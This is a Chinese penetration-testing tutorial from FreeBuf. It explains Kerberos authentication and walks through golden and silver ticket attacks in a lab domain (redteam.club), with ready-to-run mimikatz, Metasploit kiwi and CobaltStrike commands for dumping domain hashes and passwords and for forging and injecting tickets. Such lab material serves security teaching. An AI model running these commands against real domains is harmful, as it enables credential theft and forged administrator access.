freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

域渗透之Kerberos认证和黄金票据
2023-02-01 13:01:23
所属地 山西省

Kerberos认证

介绍

Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。

这个词又指麻省理工学院为这个协议开发的一套计算机软件。

1675227219_63d9f053bab0e2102eb43.png!small?1675227219634

认证流程

提示:

AS(Authentication Server) 认证服务器

KDC(Key Distribution Center) 密钥分发中心

TGT(Ticket Granting Ticket) 票据授权票据(票据的票据)

TGS(Ticket Granting Server) 票据授权服务器

ACL(Access Control Lists) 访问控制列表

DC(Domain Controller) 域控制器

AD(Active Directory) 活动目录


Client 客户端

Server 服务端

详细流程图

1675226820_63d9eec48eee9ecb5c02d.png!small?1675226820456

认证流程:

一、

1.客户端账号用自己的密码哈希加密(时间戳、客户端、服务端等信息)发送给AS (身份验证服务)
AS 收到后进行查找,确认有该账号后生成随机密钥1。
2.发送回客户端两个东西:
用客户端账号对应的密码哈希加密的(随机密钥1)和TGT(黄金票据):用特定账户哈希加密的(随机密钥1和时间戳等信息)。

二、

客户端收到后用自己的密码哈希解密得到随机密钥1,然后用随机密钥1加密(时间戳等信息)–—信息1
与TGT一同发给TGS(票据授权服务)。

三、
1.TGS收到后用特定账户哈希解密得到随机密钥1和客户端相关信息,再用随机密钥1解密 (信息1) 得到客户端相关信息进行比对。
2.若通过则生成随机密钥2,发回给客户端两个东西:
用随机密钥1加密的(随机密钥2)和ST(白银票据):用服务端哈希加密的(随机密钥2和时间戳等信息)。

四、
客户端收到后用随机密钥1解密得到随机密钥2,然后用随机密钥2加密(时间戳等信息)–—信息2
与ST一同发给服务端。

五、
服务端收到后用服务端哈希解密得到随机密钥2和客户端的信息,再用随机密钥2解密 (信息2) 得到客户端相关信息进行比对。
若通过则建立通讯。

黄金票据(Golden ticket)

原理:

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

伪造金票的场景和所需条件

黄金票据的利用常用于权限维持阶段。假设这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

所需条件:

1、域名称

2、域的SID

3、域的KRBTGT账号的HASH

4、伪造任意用户名

(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

1.黄金票据:即伪造的TGT
2.白银票据:即伪造的ST

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

票据条件:

  • 域名称
  • 域的 SID 值
  • 域的 KRBTGT 账号的 HASH
  • 伪造D的任意用户名

实验环境及利用方式

机器:

12server4

AD01

域名:

redteam.club

Mimikatz

12server4上操作

信息收集

前提域管权限

#导出hash
privilege::debug
lsadump::dcsync /domain:redteam.club /all /csv(lsadump::lsa /inject)

##一条命令
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "exit">hash.txt

1675226861_63d9eeeda6bf5aaae0357.png!small?1675226861757

1675226870_63d9eef69c7099e7eca5b.png!small?1675226871323

1675226884_63d9ef04385f3b3229e52.png!small?1675226884636

制作

#制作黄金票据
mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /ticket:ticket.kirbi" exit

1675226894_63d9ef0ec17b8c6fd8cc6.png!small?1675226894675

导入

#清除票据
kerberos::purge
#导入票据
kerberos::ptt C:\Users\ticket.kirbi

1675226910_63d9ef1eabb3b01237bbc.png!small?1675226910574

Metasploit

12server4上操作

system权限信息收集

#信息收集
load kiwi 	#导入kiwi模块

##提示:以下需要system权限
creds_all		#列举所有凭据
creds_kerberos	#列举所有kerberos凭据
kiwi_cmd sekurlsa::logonpasswords  #抓密码和hash

1675226926_63d9ef2e51106e6298a72.png!small

1675226944_63d9ef40365b72825b30a.png!small?1675226944157

1675226961_63d9ef51d7ffebe65457a.png!small?1675226961819

域管权限信息收集

#信息收集(需要域管权限)
kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt"  #krbtgt账户的密码hash值
kerberos_ticket_list	#列举kerberos票据 
kerberos_ticket_purge	#清除kerberos票据 

1675226987_63d9ef6b92b62d5fb8edc.png!small?1675226987800

1675227001_63d9ef79576f8a522658e.png!small?1675227001323

制作及导入

#制作金票
golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket

#导入金票
kerberos_ticket_use /home/kali/administrator.ticket

1675227023_63d9ef8f61d217f547139.png!small?1675227023238

CobaltStrike

AD01上操作

注意

在使用CobaltStrike4.7时,只有在AD上才能抓取到krbtgt的hash,二前两个有域管权限就可以。

12server4:12server4\administratorredteam\administrator均不成功

1675227037_63d9ef9d340ff0e086bae.png!small?1675227037234

1675227047_63d9efa7dc711d9f8b537.png!small?1675227048274

AD01:redteam\administrator成功抓取

1675227059_63d9efb3e69b04bb624b1.png!small?1675227059955

流程

1.抓取hash

1675227072_63d9efc03ec7fcfc91cac.png!small?1675227072067

1675227085_63d9efcd393ae5438149b.png!small?1675227085715

2.shell whoami /all

1675227100_63d9efdc6ef3d3d1cf6ce.png!small?1675227100434

3.制作金票

1675227110_63d9efe6151930e031da4.png!small?1675227109866

1675227120_63d9eff02b06d54fd8931.png!small?1675227120115

1675227134_63d9effe75d7d6aa92d2d.png!small?1675227134523

白银票据

原理

白银票据就是伪造的ST。 在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。 所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

票据条件:

  • 域名
  • 域 SID(就是域成员SID值去掉最后的)
  • 目标服务器的 FQDN
  • 可利用的服务
  • 服务账号的 NTLM Hash
  • 需要伪造的用户名

1675227148_63d9f00c9f26c89bd66e8.png!small?1675227148521

这里就制作一个。

mimikatz

12server4上操作

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

cifs

#命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt

#示例
kerberos::golden /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113  /target:OWA2010CN-God.god.org /rc4:689fe33346a9e9fe229395fb36178ecb  /service:cifs /user:admin /ptt

1675227169_63d9f021718320e75e63b.png!small?1675227169741


金票和银票的区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 数据安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录